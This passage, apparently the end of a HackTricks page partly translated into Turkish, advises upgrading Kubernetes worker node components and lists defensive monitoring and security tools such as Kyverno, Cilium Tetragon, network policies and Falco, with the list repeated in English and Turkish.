- Worker Node bileşenlerini, örn. kube-proxy, kubelet, yükseltin.
## Kubernetes izleme ve güvenlik:
## Kubernetes monitoring & security:
- Kyverno Policy Engine
- Cilium Tetragon - eBPF-based Security Observability and Runtime Enforcement
- Network Security Policies
- Falco - Çalışma zamanı güvenlik izleme ve tespiti
- Cilium Tetragon - eBPF tabanlı güvenlik gözlemlenebilirliği ve çalışma zamanı zorlaması
- Ağ Güvenlik Politikaları
- Falco - çalışma zamanı güvenlik izleme ve tespit
{{#include ../../../banners/hacktricks-training.md}}